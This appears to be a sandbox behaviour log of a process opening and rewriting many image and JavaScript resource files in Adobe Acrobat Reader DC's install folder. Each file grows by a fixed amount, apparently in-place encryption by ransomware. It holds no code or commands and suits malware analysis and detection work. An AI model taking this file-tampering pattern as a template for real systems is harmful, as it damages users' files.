File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-right.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-right.png, size = 298, size_out = 298	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-right.png, size = 1714	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down-pressed.gif, size = 58, size_out = 58	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down-pressed.gif, size = 1474	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left-pressed.gif, size = 56, size_out = 56	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left-pressed.gif, size = 1472	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\ui-strings.js, size = 3568, size_out = 3568	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\ui-strings.js, size = 4984	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\ui-strings.js, size = 3758, size_out = 3758	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\ui-strings.js, size = 5174	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\ui-strings.js, size = 3871, size_out = 3871	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\ui-strings.js, size = 5287	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\ui-strings.js, size = 7432, size_out = 7432	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\ui-strings.js, size = 8848	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\ui-strings.js, size = 7997, size_out = 7997	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\ui-strings.js, size = 9413	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_patterns_header.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_patterns_header.png, size = 703, size_out = 703	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_patterns_header.png, size = 2119	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\bg_pattern_RHP.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\bg_pattern_RHP.png, size = 179, size_out = 179	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\bg_pattern_RHP.png, size = 1595	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\ui-strings.js, size = 1789, size_out = 1789	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\ui-strings.js, size = 3205	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\ui-strings.js, size = 1848, size_out = 1848	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\ui-strings.js, size = 3264	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js, size = 1756, size_out = 1756	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\ui-strings.js, size = 3172	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\plugin.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\plugin.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\plugin.js, size = 2895, size_out = 2895	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\plugin.js, size = 4311	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\da-dk\ui-strings.js, size = 1136, size_out = 1136	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\da-dk\ui-strings.js, size = 2552	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hu-hu\ui-strings.js, size = 1154, size_out = 1154	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hu-hu\ui-strings.js, size = 2570	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\ui-strings.js, size = 1200, size_out = 1200	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\ui-strings.js, size = 2616	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-selector.js, size = 3550, size_out = 3550	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\combinepdf-selector.js, size = 4966	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\ui-strings.js, size = 1200, size_out = 1200	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\ui-strings.js, size = 2616	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\ui-strings.js, size = 1275, size_out = 1275	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\ui-strings.js, size = 2691	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\ui-strings.js, size = 1234, size_out = 1234	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\ui-strings.js, size = 2650	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\es-es\ui-strings.js, size = 1364, size_out = 1364	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\es-es\ui-strings.js, size = 2780	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nb-no\ui-strings.js, size = 1331, size_out = 1331	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nb-no\ui-strings.js, size = 2747	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\tr-tr\ui-strings.js, size = 1345, size_out = 1345	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\tr-tr\ui-strings.js, size = 2761	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\selector.js, size = 3774, size_out = 3774	1	Fn Data
